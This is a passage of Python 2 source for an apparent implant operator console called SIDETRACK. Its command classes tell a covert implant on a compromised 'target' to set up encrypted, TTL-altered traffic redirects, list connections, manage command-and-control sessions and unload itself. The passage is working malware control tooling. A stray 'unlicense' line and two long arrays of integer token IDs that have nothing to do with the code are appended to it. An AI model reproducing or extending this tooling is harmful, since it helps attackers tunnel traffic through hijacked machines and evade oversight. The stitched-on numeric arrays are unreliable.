elif string.upper(optList[i])[:3] == '-TT': i = i+1 if type(optList[i]) == type(1): ttl_mod = optList[i] if optList[i] < 0: ttl_reset = 0 else: ttl_reset = 1 elif string.upper(optList[i])[:1] == 'R': ttl_mod = 0 ttl_reset = 1 elif optList[i][0] == '+' or optList[i][0] == '-': ttl_mod = eval(optList[i]) ttl_reset = 0 else: raise ValueError, optList[i] #if ttl_reset == 0: # ttl_mod = struct.pack("!H",ttl_mod) #else: # ttl_mod = struct.pack("!h",ttl_mod) elif string.upper(optList[i])[:2] == '-I': i = i+1 insert = optList[i] elif string.upper(optList[i])[:2] == '-L': i = i+1 longevity = self.ConvertTime(optList[i]) elif string.upper(optList[i])[:2] == '-C': i = i+1 conn_to = self.ConvertTime(optList[i]) elif string.upper(optList[i])[:2] == '-N': munge = 0 encrypt = 0 elif string.upper(optList[i])[:2] == '-E': encrypt = 1 elif string.upper(optList[i])[:2] == '-A': afix = 0 elif string.upper(optList[i])[:3] == '-TF': tfix = 0 elif string.upper(optList[i])[:2] == '-S': samesum = 1 else: raise ValueError, optList[i] i = i + 1 if T_ip == self.ConvertIP(self.implant.session.target.ip): encrypt = 0 munge = 0 localredir = 1 flags = 1 | afix << 1 | tfix << 2 | ttl_reset << 3 \ | encrypt << 4 | munge << 5 | allRedir << 6 | allProtoAT << 7 \ | allProtoTA << 8 | base.ccSupport << 9 | samesum << 10 rd = crypto.GetRandom() if localredir == 0: ident = struct.unpack("!H",rd[0:2])[0] if munge: munge = struct.unpack("!L",rd[2:6])[0] if munge & 1L == 0: munge = munge + 1 if munge & 0xffL == 1: munge = munge + 10 if protocol == 6 and localredir == 0 and encrypt: seq = struct.unpack("!L", rd[22:26])[0] if encrypt: encrypt = struct.unpack("!LLLL",rd[6:22]) else: encrypt = (0,0,0,0) base.db(2, seq) base.db(2, ident) self.redir =REDIRECT(self,insert,longevity,conn_to,protocol,A_ip,T_ip,\ ident,seq,munge,encrypt,ttl_mod,flags,\ A_port,SA_port,T_port,ST_port) ruleRes = self.redir.add() if ruleRes[0] and cmd != None: if cmd.redir != None: cmd.redir.next = self.redir self.redir.prev = cmd.redir return ruleRes ############################################################################# # REDIRLIST class # opcode 0x24 ############################################################################# class SIDECMD_REDIRLIST(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "redirlist" self.usage = "redirlist [rule]" self.info = "List redirect entries." self.op = 0x24L def parseReturn(self): self.ret, self.rule, self.longevity, self.conn_to, \ self.A_ip, self.T_ip, self.flags = \ struct.unpack("!LLLLLLH",self.data[:26]) self.ttl_mod = struct.unpack("!H",'\000'+self.data[26:27])[0] self.protocol = struct.unpack("!H", '\000'+self.data[27:28])[0] self.conns, self.ATcount, self.TAcount, self.seen, self.munge, \ self.A_port, self.SA_port, self.T_port, self.ST_port, \ self.seq = struct.unpack("!LLLLLHHHHL",self.data[28:60]) self.A_ip = self.ConvertToDot(self.A_ip) self.T_ip = self.ConvertToDot(self.T_ip) self.longevity = time.ctime(self.longevity-self.implant.timediff)[4:] if self.protocol == 1: self.protocol = "ICMP" elif self.protocol == 6: self.protocol = "TCP" elif self.protocol == 17: self.protocol = "UDP" elif self.protocol == 0: self.protocol = "ALL" else: self.protocol = eval("'%d'" % (self.protocol)) if (self.flags & 0x1L): self.active = "ACTIVE" else: self.active = "INACTIVE" self.opts = '' if not (self.flags & 0x2L): self.opts = self.opts + '-afix ' if not (self.flags & 0x4L): self.opts = self.opts + '-tfix ' if (self.flags & 0x400L): self.opts = self.opts + '-samesum ' if self.flags & 0x8L: if self.ttl_mod == 0: self.opts = self.opts + '-ttl reset ' else: self.opts = self.opts + '-ttl %d ' % (self.ttl_mod) else: if self.ttl_mod > 127: self.opts = self.opts + '-ttl %d' % (self.ttl_mod-256) else: self.opts = self.opts + '-ttl +%d ' % (self.ttl_mod) if not (self.flags & 0x30L): self.opts = self.opts + '-nocrypto ' def outputPorts(self,attacker,flags,ip,lport,rport): if flags & 0x40 or flags & 0x180 == 0x180: return ip if attacker and flags & 0x80: rport = '*' if attacker and flags & 0x100: lport = '*' if not attacker and flags & 0x80: lport = '*' if not attacker and flags & 0x100: rport = '*' if type(lport) != type('*'): lport = '%d' %(lport) if type(rport) != type('*'): rport = '%d' %(rport) return '%s:%s/%s' % (ip,lport,rport) def outputCurrent(self): res = '%-5d %s Connection timeout: %s Expires: %s\n' % \ (self.rule,self.active,\ self.TimeConvert(self.conn_to),self.longevity) res = res + ' %s %s %s %s\n' % \ (self.protocol, self.outputPorts(1,self.flags,self.A_ip,self.A_port,self.SA_port), self.outputPorts(0,self.flags,self.T_ip,self.T_port,self.ST_port), self.opts) res = res + ' Connections: %-4d Last seen %s\n A->T count: %-6d T->A count: %-6d\n' % (self.conns, time.ctime(self.seen-self.implant.timediff)[4:], self.ATcount, self.TAcount) return (1, res) def listOne(self,rule): self.data = struct.pack("!LL",rule,0) self.Query() if self.op == 0x24L and self.res == 0x01L: self.parseReturn() return self.outputCurrent() else: return (0, "Implant did not return a valid response") def listAll(self): out = '' self.ret = 1 self.rule = 0 while self.ret == 1: self.data = struct.pack("!LL",0,self.rule) self.Query() if self.op == 0x24L and self.res == 0x01L: self.parseReturn() res = self.outputCurrent() if res[0] == 0: return res else: out = out + res[1] else: return (0, "Error receiving result") if self.ret == 2: return (1, "No rules to list") else: return (1, out) def run(self,rule=None): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") if rule == None: res = self.listAll() else: res = self.listOne(rule) return res ############################################################################# # REDIRSET class # opcode 0x25 ############################################################################# class SIDECMD_REDIRSET(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "redirset" self.usage = "redirset <rule|all> <active|inactive>" self.info = "Set a redirect rule as being active or inactive." self.op = 0x25L def run(self, rule, status): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if type(rule) == type("a") and string.upper(rule)[:1] == 'A': rule = 0 if string.upper(status[:1]) == 'A': status = 1 elif string.upper(status[:1]) == 'I': status = 0 i=0 while i < len(self.implant.rules): if self.implant.rules[i].remoteRuleNum == rule or rule == 0: res = self.implant.rules[i].set(status) if res[0] == 0: return res elif rule != 0: break i = i + 1 base.db(3,res[1]) if i == len(self.implant.rules) and rule != 0: return (0, "Rule does not exist") else: return (1, "Rule(s) set successfully") ############################################################################# # CONNREMOVE class # opcode 0x28 ############################################################################# class SIDECMD_CONNREMOVE(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "connrm" self.usage = "connrm <rule|all>" self.info = "Remove a connection entry (or all connection entries)" self.op = 0x28L def run(self, rule): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") if type(rule) == type("a") and string.upper(rule)[:1] == 'A': rule = 0 self.data = struct.pack("!L",rule) self.Query() if self.op == 0x28L and self.res == 0x1L: return (1, "Connection(s) removed successfully") else: return (0, "Error removing connection(s)") ############################################################################# # CONNLIST class # opcode 0x27 ############################################################################# class SIDECMD_CONNLIST(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "connlist" self.usage = "connlist [-c <rule> | -r <redir>]" self.info = "Lists a (or all) connection rules" self.op = 0x27L def convertState(self,state): if state == 0: return "INIT" elif state == 1: return "SYN_SENT" elif state == 2: return "SYN_RCVD" elif state == 3: return "SYN_ACK_RCVD" elif state == 4: return "SYN_ACK_SENT" elif state == 5: return "ESTABLISHED" elif state == 6: return "FIN_SENT" def parseReturn(self): self.ret,self.rule,self.redir,self.longevity = struct.unpack("!LLLL",self.data[0:16]) self.protocol = struct.unpack("!H", '\000'+self.data[16:17])[0] sendstate = struct.unpack("!H",'\000'+self.data[17:18])[0] recvstate = struct.unpack("!H",'\000'+self.data[18:19])[0] sender = struct.unpack("!H",'\000'+self.data[19:20])[0] self.at_cnt, self.ta_cnt, self.last, self.Aip, self.SAip, self.Tip,\ self.STip, self.Aport, self.SAport, self.Tport, self.STport \ = struct.unpack("!LLLLLLLHHHH",self.data[20:56]) self.leftState = '' self.rightState = '' if self.protocol == 6: self.protocol = "TCP" if sender == 1: self.leftState = self.convertState(sendstate) self.rightState = self.convertState(recvstate) else: self.leftState = self.convertState(recvstate) self.rightState = self.convertState(sendstate) elif self.protocol == 17: self.protocol = "UDP" else: self.protocol = '%d' %(self.protocol) def outputCurrent(self): res = '%d %s Redir rule: %d Last seen: %s\n %s:%d <-%s(%d)-> %s:%d\n %s:%d <-%s(%d)-> %s:%d\n' % \ (self.rule,self.protocol,self.redir, time.ctime(self.last+self.implant.timediff)[4:], self.ConvertToDot(self.Aip),self.Aport, self.leftState,self.at_cnt, self.ConvertToDot(self.SAip),self.SAport, self.ConvertToDot(self.STip),self.STport, self.rightState,self.ta_cnt, self.ConvertToDot(self.Tip),self.Tport) return (1,res) def listAll(self,redir): out = '' self.ret = 1 self.rule = 0 while self.ret == 1: self.data = struct.pack("!LLL",0,self.rule,redir) self.Query() if self.op == 0x27L and self.res == 0x01L: self.parseReturn() res = self.outputCurrent() if res[0] == 0: return res else: out = out + res[1] else: return (0, "Error receiving result") if self.ret == 2: return (1,"No connections to list") else: return (1,out) def listOne(self,rule): self.data = struct.pack("!LLL",rule,0,0) self.Query() if self.op == 0x27L and self.res == 0x01L: self.parseReturn() return self.outputCurrent() else: return (0, "Implant did not return a valid response") def run(self, option=None, value=None): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") rule = 0 redir = 0 if option != None: if option == '-c': rule = value elif option == '-r': redir = value else: raise TypeError, option if rule == 0: res = self.listAll(redir) else: res = self.listOne(rule) return res ############################################################################# # REDIRREMOVE class # opcode 0x26 ############################################################################# class SIDECMD_REDIRREMOVE(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "redirrm" self.usage = "redirrm <rule|all>" self.info = "Remove a redirect rule (or all redirect rules)" self.op = 0x26L def run(self, rule): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") removed = 0 if type(rule) == type("a") and string.upper(rule)[:1] == 'A': rule = 0 i = 0 while i < len(self.implant.rules): if self.implant.rules[i].remoteRuleNum == rule or rule == 0: res = self.implant.rules[i].remove() if res[0] == 0: return res removed = 1 i = i - 1 i = i + 1 if removed == 0 or rule == 0: self.data = struct.pack("!L",rule) self.Query() if self.op == 0x26L and self.res == 0x1L: return (1, "Rule(s) removed successfully") else: return (0, "Error removing rule(s)") else: return res ############################################################################# # CCLIST class # opcode 0x29 ############################################################################# class SIDECMD_CCLIST(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "cclist" self.usage = "cclist" self.info = "List all of the command and control sessions" self.op = 0x29L def parseReturn(self): self.more,self.rule,self.longevity,self.srcip,self.dstip,\ self.srcport,self.dstport = struct.unpack("!LLLLLHH",self.data[0:24]) if self.more & 2L: self.current = "(CURRENT) " else: self.current = "" self.longevity = time.ctime(self.longevity-self.implant.timediff)[4:] self.srcip = self.ConvertToDot(self.srcip) self.dstip = self.ConvertToDot(self.dstip) def displayCurrent(self): # STUB: Make this better! if self.rule == 0xffffffffL: return "" res = "%d %s%s:%d<->%s:%d Expires: %s\n" % \ (self.rule,self.current,self.srcip,self.srcport,\ self.dstip,self.dstport,self.longevity) return res def run(self): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") res = "" last = 0L self.more = 1 while self.more & 1L: self.data = struct.pack("!L",last) self.Query() if self.op == 0x29L and self.res == 0x1L: self.parseReturn() res = self.displayCurrent() + res last = self.rule else: return (0, "Error getting CC rules") return (1,res) ############################################################################# # CCREMOVE class # opcode 0x2a ############################################################################# class SIDECMD_CCREMOVE(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "ccremove" self.usage = "ccremove <rule>" self.info = "Remove a command and control session (see also: done)" self.op = 0x2aL def run(self,rule): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") self.data = struct.pack("!L",rule) self.Query() if self.op == 0x2aL and self.res == 0x1L: return (1, "Session removed successfully") else: return (0, "Unable to remove CC session (note: you cannot remove yourself, see: done)") ############################################################################# # UNLOAD class # opcode 0x30 ############################################################################# class SIDECMD_UNLOAD(SIDECMD): def __init__(self): SIDECMD.__init__(self) self.name = "stunload" self.usage = "stunload <magic>" self.info = "Remove SIDETRACK from the target" self.op = 0x30L def run(self, magic): msg = echocmd.ECHOCMD.run(self) if msg != None: return (0,msg) if self.implant.version < 2.0: return (0, "This feature is only available in versions >= 2.0") self.data = struct.pack("!L",magic); self.Query() if self.op == 0x30L and self.res == 0x1L: return (1, "SIDETRACK successfully removed from target") else: return (0, "Cannot remove SIDETRACK"); base.RegisterImplant('SIDETRACK', SIDETRACK) class REDIRECT(SIDECMD): def __init__(self, cmd, next, longevity, connection_timeout, protocol,\ A_ip, T_ip, ident, seq, munge, crypto_key, ttl_mod, flags, \ A_port, SA_port, T_port, ST_port): SIDECMD.__init__(self) self.protocol = cmd.protocol self.implant = cmd.implant self.session = cmd.implant.session self.target = cmd.implant.session.target self.longevity = longevity self.nextRule = next self.connection_timeout = connection_timeout self.proto = protocol self.A_ip = A_ip self.T_ip = T_ip self.ident = ident self.seq = seq self.munge = munge self.crypto_key = crypto_key self.ttl_mod = ttl_mod self.flags = flags self.A_port = A_port self.SA_port = SA_port self.T_port = T_port self.ST_port = ST_port self.added = 0 self.localRuleNum = None self.remoteRuleNum = None self.prev = None self.next = None self.ccPassthru = None def remove(self,direction=0): if self.added == 0: return (0, "Rule does not exist") if self.ccPassthru != None: cmd = self.ccPassthru.GetCommand('done') cmd.run() if direction != 1 and self.next != None: res = self.next.remove(2) if res[0] == 0: return (res[0], "Rule could not be removed: " + res[1]) self.next = None if self.remoteRuleNum != None: self.op = 0x26L self.data = struct.pack("!L",self.remoteRuleNum) self.Query() if self.op == 0x26L and self.res == 0x1L: base.redir.delete(self.localRuleNum) self.added = 0 self.localRuleNum = None self.implant.rules.remove(self) if direction != 2 and self.prev != None: res = self.prev.remove(1) if res[0] == 0: return (0,"Rule %d removed: %s"%(self.remoteRuleNum,res[1])) return (1, "Rule %d removed"%(self.remoteRuleNum)) else: return (0, "Rule could not be removed") else: base.redir.delete(self.localRuleNum) return (1, "Local rule removed") def set(self,value,direction=0): if self.added == 0: return (0, "Rule does not exist") if direction != 1 and self.next != None: res = self.next.set(value,2) if res[0] == 0: return(res[0], "Rule could not be set: " + res[1]) if self.remoteRuleNum: self.op = 0x25L self.data = struct.pack("!LH",self.remoteRuleNum, value) self.Query() if self.op == 0x25L and self.res == 0x1L: base.redir.set(self.localRuleNum, value) if direction != 2 and self.prev != None: res = self.prev.set(value,1) if res[0] == 0: return (0,"Rule %d set: %s"%(self.remoteRuleNum,res[1])) return (1, "Rule %d set"%(self.remoteRuleNum)) else: return (0, "Rule could not be set") else: base.redir.set(self.localRuleNum, value) return (1, "Local rule set") def add(self, addremote=1): if self.added == 1: return (0, "Rule already exists", 0) AT_ip = 0 if addremote: self.op = 0x23L self.data = struct.pack("!LLL",self.nextRule, self.longevity,\ self.connection_timeout) self.data = self.data + self.A_ip + self.T_ip self.data = self.data + struct.pack("!HHLLLLLHHHHHHL",self.flags,\ (self.ttl_mod << 8 | self.proto), self.munge,\ self.crypto_key[0],self.crypto_key[1],self.crypto_key[2],\ self.crypto_key[3], self.ident, 0, self.A_port, \ self.SA_port, self.T_port, self.ST_port, self.seq) self.Query() if self.op == 0x23L and self.res == 0x01L: self.remoteRuleNum = struct.unpack("!L", self.data[0:4])[0] AT_ip = struct.unpack("!L", self.data[4:8])[0] self.ST_ip = self.data[4:8] res = base.redir.redir(self.longevity,self.connection_timeout,\ self.ConvertIP(self.target.ip), \ self.T_ip,\ self.seq, self.munge, self.crypto_key, \ self.flags, self.A_port, self.SA_port,\ self.ident, self.proto) if res < 1: self.op = 0x26L self.data = struct.pack("!L",self.remoteRuleNum) self.Query() if self.op == 0x26L and self.res == 0x1L: self.remoteRuleNum = None return (0, "Local rule could not be added", AT_ip) else: return (0, "Local rule could not be added, remote rule may still exist", AT_ip) self.localRuleNum = res self.added = 1 self.implant.rules.append(self) return (self.remoteRuleNum, "Rule %d added" %(self.remoteRuleNum), AT_ip) else: return (0, "Remote rule could not be added", AT_ip) else: self.remoteRuleNum = None res = base.redir.redir(self.longevity,self.connection_timeout,\ self.ConvertIP(self.target.ip), \ self.T_ip,\ self.seq, self.munge, self.crypto_key, \ self.flags, self.A_port, self.SA_port,\ self.ident, self.proto) if res < 1: return (0, "Local rule could not be added", 0) self.added = 1 self.localRuleNum = res return (1, "Local rule added", 0)
unlicense
[ 646, 1300, 199, 646, 13230, 199, 646, 325, 335, 679, 1064, 199, 646, 1059, 199, 646, 2702, 199, 646, 900, 199, 646, 295, 199, 646, 747, 199, 646, 984, 199, 504, 2838, 492, 627, 199, 646, 3066, 8815, 199, 646, 2943, 199, 199, 533, 428, 998, 4220, 5127, 8, 12736, 679, 1064, 14, 37, 10465, 9744, 304, 272, 347, 636, 826, 721, 277, 304, 267, 325, 335, 679, 1064, 14, 37, 10465, 9744, 855, 826, 721, 277, 9, 5493, 347, 2434, 7306, 8, 277, 12, 410, 514, 304, 267, 327, 1361, 298, 607, 2434, 7306, 450, 68, 2, 450, 334, 20615, 9, 267, 340, 730, 8, 20615, 9, 1137, 730, 360, 735, 288, 340, 410, 514, 508, 413, 26, 355, 410, 514, 275, 298, 33, 2, 288, 916, 410, 514, 508, 499, 26, 355, 410, 514, 275, 298, 2709, 2, 288, 916, 410, 514, 508, 650, 26, 355, 410, 514, 275, 298, 5127, 2, 288, 916, 410, 514, 508, 841, 26, 355, 410, 514, 275, 298, 13463, 2, 288, 916, 410, 514, 508, 959, 26, 355, 410, 514, 275, 298, 35, 2339, 2, 288, 916, 410, 514, 508, 1227, 26, 355, 410, 514, 275, 298, 4118, 33, 2, 288, 916, 410, 514, 508, 1520, 26, 355, 410, 514, 275, 298, 4567, 2, 288, 916, 410, 514, 508, 1695, 26, 355, 410, 514, 275, 298, 26255, 2, 288, 916, 410, 514, 508, 1749, 26, 355, 410, 514, 275, 298, 22153, 2, 288, 916, 410, 514, 508, 1616, 26, 355, 410, 514, 275, 298, 8084, 2, 288, 916, 410, 514, 508, 4119, 26, 355, 410, 514, 275, 298, 55, 19982, 2, 288, 916, 410, 514, 508, 3144, 26, 355, 410, 514, 275, 298, 14528, 2, 288, 916, 410, 514, 508, 4944, 26, 355, 410, 514, 275, 298, 40, 4531, 2, 288, 916, 410, 514, 508, 4329, 26, 355, 410, 514, 275, 298, 45, 4531, 2, 288, 916, 410, 514, 508, 4114, 26, 355, 410, 514, 275, 298, 17401, 2, 288, 916, 410, 514, 508, 3193, 26, 355, 410, 514, 275, 298, 17715, 2, 288, 916, 410, 514, 508, 27210, 26, 355, 410, 514, 275, 298, 9839, 5372, 2, 288, 916, 410, 514, 508, 26727, 26, 355, 410, 514, 275, 298, 8175, 34, 2, 288, 916, 410, 514, 508, 22540, 26, 355, 410, 514, 275, 298, 8175, 33, 2, 288, 916, 410, 514, 508, 5450, 26, 355, 410, 514, 275, 22423, 267, 372, 410, 514, 2286, 347, 7905, 804, 8, 277, 12, 519, 466, 304, 267, 340, 730, 8, 4500, 9, 1137, 730, 8, 16, 304, 288, 519, 466, 221, 275, 1059, 14, 4142, 8, 4500, 9, 288, 340, 519, 466, 508, 298, 33, 582, 355, 519, 466, 275, 413, 288, 916, 519, 466, 508, 298, 2709, 582, 355, 519, 466, 275, 499, 288, 916, 519, 466, 508, 298, 5127, 582, 355, 519, 466, 275, 650, 288, 916, 519, 466, 508, 298, 13463, 582, 355, 519, 466, 275, 841, 288, 916, 519, 466, 508, 298, 35, 2339, 582, 355, 519, 466, 275, 959, 288, 916, 519, 466, 508, 298, 4118, 33, 582, 355, 519, 466, 275, 1227, 288, 916, 519, 466, 508, 298, 4567, 582, 355, 519, 466, 275, 1520, 288, 916, 519, 466, 508, 298, 26255, 582, 355, 519, 466, 275, 1695, 288, 916, 519, 466, 508, 298, 22153, 582, 355, 519, 466, 275, 1749, 288, 916, 519, 466, 508, 298, 8084, 582, 355, 519, 466, 275, 1616, 288, 916, 519, 466, 508, 298, 55, 19982, 582, 355, 519, 466, 275, 4119, 288, 916, 519, 466, 508, 298, 14528, 582, 355, 519, 466, 275, 3144, 288, 916, 519, 466, 508, 298, 40, 4531, 582, 355, 519, 466, 275, 4944, 288, 916, 519, 466, 508, 298, 45, 4531, 582, 355, 519, 466, 275, 4329, 288, 916, 519, 466, 508, 298, 17401, 582, 355, 519, 466, 275, 4114, 288, 916, 519, 466, 508, 298, 17715, 582, 355, 519, 466, 275, 3193, 288, 916, 519, 466, 508, 298, 9839, 5372, 582, 355, 519, 466, 275, 27210, 288, 916, 519, 466, 508, 298, 8175, 34, 582, 355, 519, 466, 275, 26727, 288, 916, 519, 466, 508, 298, 8175, 33, 582, 355, 519, 466, 275, 22540, 288, 916, 519, 466, 508, 8969, 582, 355, 519, 466, 275, 5450, 267, 372, 519, 466, 339, 347, 8089, 7306, 8, 277, 12, 519, 533, 304, 267, 327, 1361, 298, 607, 8089, 7306, 450, 68, 2, 450, 334, 82, 533, 9, 267, 340, 730, 8, 82, 533, 9, 1137, 730, 360, 735, 288, 340, 519, 533, 508, 413, 26, 355, 519, 533, 275, 298, 568, 2, 288, 916, 519, 533, 508, 499, 26, 355, 519, 533, 275, 298, 3298, 2, 288, 916, 519, 533, 508, 650, 26, 355, 519, 533, 275, 298, 1244, 2, 288, 916, 519, 533, 508, 841, 26, 355, 519, 533, 275, 298, 15467, 2, 267, 372, 519, 533, 2286, 347, 7905, 2543, 8, 277, 12, 519, 533, 304, 267, 340, 730, 8, 82, 533, 9, 1137, 730, 8, 16, 304, 288, 519, 533, 275, 1059, 14, 4142, 8, 82, 533, 9, 288, 340, 519, 533, 508, 298, 568, 582, 355, 519, 533, 275, 413, 288, 916, 519, 533, 508, 298, 3298, 582, 355, 519, 533, 275, 499, 288, 916, 519, 533, 508, 298, 1244, 582, 355, 519, 533, 275, 650, 288, 916, 519, 533, 508, 298, 15467, 582, 355, 519, 533, 275, 841, 267, 372, 519, 533, 339, 347, 7905, 6381, 8, 277, 12, 3285, 304, 267, 327, 29757, 11517, 660, 267, 2203, 6381, 275, 378, 267, 340, 730, 8, 2469, 9, 1137, 730, 8, 16, 304, 288, 3285, 275, 1059, 14, 4142, 8, 2469, 9, 288, 340, 3285, 508, 298, 2847, 582, 355, 2203, 6381, 275, 2203, 6381, 1204, 378, 88, 23686, 44, 288, 340, 3285, 508, 298, 2276, 582, 355, 2203, 6381, 275, 2203, 6381, 1204, 378, 88, 27130, 44, 267, 372, 2203, 6381, 339, 347, 15247, 7306, 8, 277, 12, 2792, 304, 267, 340, 730, 8, 2792, 9, 1137, 730, 360, 735, 288, 340, 3420, 508, 378, 26, 355, 3420, 275, 298, 1131, 2, 288, 916, 3420, 508, 413, 26, 355, 3420, 275, 298, 796, 2, 288, 916, 3420, 508, 499, 26, 355, 3420, 275, 298, 1178, 2 ]
[ 1300, 199, 646, 13230, 199, 646, 325, 335, 679, 1064, 199, 646, 1059, 199, 646, 2702, 199, 646, 900, 199, 646, 295, 199, 646, 747, 199, 646, 984, 199, 504, 2838, 492, 627, 199, 646, 3066, 8815, 199, 646, 2943, 199, 199, 533, 428, 998, 4220, 5127, 8, 12736, 679, 1064, 14, 37, 10465, 9744, 304, 272, 347, 636, 826, 721, 277, 304, 267, 325, 335, 679, 1064, 14, 37, 10465, 9744, 855, 826, 721, 277, 9, 5493, 347, 2434, 7306, 8, 277, 12, 410, 514, 304, 267, 327, 1361, 298, 607, 2434, 7306, 450, 68, 2, 450, 334, 20615, 9, 267, 340, 730, 8, 20615, 9, 1137, 730, 360, 735, 288, 340, 410, 514, 508, 413, 26, 355, 410, 514, 275, 298, 33, 2, 288, 916, 410, 514, 508, 499, 26, 355, 410, 514, 275, 298, 2709, 2, 288, 916, 410, 514, 508, 650, 26, 355, 410, 514, 275, 298, 5127, 2, 288, 916, 410, 514, 508, 841, 26, 355, 410, 514, 275, 298, 13463, 2, 288, 916, 410, 514, 508, 959, 26, 355, 410, 514, 275, 298, 35, 2339, 2, 288, 916, 410, 514, 508, 1227, 26, 355, 410, 514, 275, 298, 4118, 33, 2, 288, 916, 410, 514, 508, 1520, 26, 355, 410, 514, 275, 298, 4567, 2, 288, 916, 410, 514, 508, 1695, 26, 355, 410, 514, 275, 298, 26255, 2, 288, 916, 410, 514, 508, 1749, 26, 355, 410, 514, 275, 298, 22153, 2, 288, 916, 410, 514, 508, 1616, 26, 355, 410, 514, 275, 298, 8084, 2, 288, 916, 410, 514, 508, 4119, 26, 355, 410, 514, 275, 298, 55, 19982, 2, 288, 916, 410, 514, 508, 3144, 26, 355, 410, 514, 275, 298, 14528, 2, 288, 916, 410, 514, 508, 4944, 26, 355, 410, 514, 275, 298, 40, 4531, 2, 288, 916, 410, 514, 508, 4329, 26, 355, 410, 514, 275, 298, 45, 4531, 2, 288, 916, 410, 514, 508, 4114, 26, 355, 410, 514, 275, 298, 17401, 2, 288, 916, 410, 514, 508, 3193, 26, 355, 410, 514, 275, 298, 17715, 2, 288, 916, 410, 514, 508, 27210, 26, 355, 410, 514, 275, 298, 9839, 5372, 2, 288, 916, 410, 514, 508, 26727, 26, 355, 410, 514, 275, 298, 8175, 34, 2, 288, 916, 410, 514, 508, 22540, 26, 355, 410, 514, 275, 298, 8175, 33, 2, 288, 916, 410, 514, 508, 5450, 26, 355, 410, 514, 275, 22423, 267, 372, 410, 514, 2286, 347, 7905, 804, 8, 277, 12, 519, 466, 304, 267, 340, 730, 8, 4500, 9, 1137, 730, 8, 16, 304, 288, 519, 466, 221, 275, 1059, 14, 4142, 8, 4500, 9, 288, 340, 519, 466, 508, 298, 33, 582, 355, 519, 466, 275, 413, 288, 916, 519, 466, 508, 298, 2709, 582, 355, 519, 466, 275, 499, 288, 916, 519, 466, 508, 298, 5127, 582, 355, 519, 466, 275, 650, 288, 916, 519, 466, 508, 298, 13463, 582, 355, 519, 466, 275, 841, 288, 916, 519, 466, 508, 298, 35, 2339, 582, 355, 519, 466, 275, 959, 288, 916, 519, 466, 508, 298, 4118, 33, 582, 355, 519, 466, 275, 1227, 288, 916, 519, 466, 508, 298, 4567, 582, 355, 519, 466, 275, 1520, 288, 916, 519, 466, 508, 298, 26255, 582, 355, 519, 466, 275, 1695, 288, 916, 519, 466, 508, 298, 22153, 582, 355, 519, 466, 275, 1749, 288, 916, 519, 466, 508, 298, 8084, 582, 355, 519, 466, 275, 1616, 288, 916, 519, 466, 508, 298, 55, 19982, 582, 355, 519, 466, 275, 4119, 288, 916, 519, 466, 508, 298, 14528, 582, 355, 519, 466, 275, 3144, 288, 916, 519, 466, 508, 298, 40, 4531, 582, 355, 519, 466, 275, 4944, 288, 916, 519, 466, 508, 298, 45, 4531, 582, 355, 519, 466, 275, 4329, 288, 916, 519, 466, 508, 298, 17401, 582, 355, 519, 466, 275, 4114, 288, 916, 519, 466, 508, 298, 17715, 582, 355, 519, 466, 275, 3193, 288, 916, 519, 466, 508, 298, 9839, 5372, 582, 355, 519, 466, 275, 27210, 288, 916, 519, 466, 508, 298, 8175, 34, 582, 355, 519, 466, 275, 26727, 288, 916, 519, 466, 508, 298, 8175, 33, 582, 355, 519, 466, 275, 22540, 288, 916, 519, 466, 508, 8969, 582, 355, 519, 466, 275, 5450, 267, 372, 519, 466, 339, 347, 8089, 7306, 8, 277, 12, 519, 533, 304, 267, 327, 1361, 298, 607, 8089, 7306, 450, 68, 2, 450, 334, 82, 533, 9, 267, 340, 730, 8, 82, 533, 9, 1137, 730, 360, 735, 288, 340, 519, 533, 508, 413, 26, 355, 519, 533, 275, 298, 568, 2, 288, 916, 519, 533, 508, 499, 26, 355, 519, 533, 275, 298, 3298, 2, 288, 916, 519, 533, 508, 650, 26, 355, 519, 533, 275, 298, 1244, 2, 288, 916, 519, 533, 508, 841, 26, 355, 519, 533, 275, 298, 15467, 2, 267, 372, 519, 533, 2286, 347, 7905, 2543, 8, 277, 12, 519, 533, 304, 267, 340, 730, 8, 82, 533, 9, 1137, 730, 8, 16, 304, 288, 519, 533, 275, 1059, 14, 4142, 8, 82, 533, 9, 288, 340, 519, 533, 508, 298, 568, 582, 355, 519, 533, 275, 413, 288, 916, 519, 533, 508, 298, 3298, 582, 355, 519, 533, 275, 499, 288, 916, 519, 533, 508, 298, 1244, 582, 355, 519, 533, 275, 650, 288, 916, 519, 533, 508, 298, 15467, 582, 355, 519, 533, 275, 841, 267, 372, 519, 533, 339, 347, 7905, 6381, 8, 277, 12, 3285, 304, 267, 327, 29757, 11517, 660, 267, 2203, 6381, 275, 378, 267, 340, 730, 8, 2469, 9, 1137, 730, 8, 16, 304, 288, 3285, 275, 1059, 14, 4142, 8, 2469, 9, 288, 340, 3285, 508, 298, 2847, 582, 355, 2203, 6381, 275, 2203, 6381, 1204, 378, 88, 23686, 44, 288, 340, 3285, 508, 298, 2276, 582, 355, 2203, 6381, 275, 2203, 6381, 1204, 378, 88, 27130, 44, 267, 372, 2203, 6381, 339, 347, 15247, 7306, 8, 277, 12, 2792, 304, 267, 340, 730, 8, 2792, 9, 1137, 730, 360, 735, 288, 340, 3420, 508, 378, 26, 355, 3420, 275, 298, 1131, 2, 288, 916, 3420, 508, 413, 26, 355, 3420, 275, 298, 796, 2, 288, 916, 3420, 508, 499, 26, 355, 3420, 275, 298, 1178, 2, 0 ]
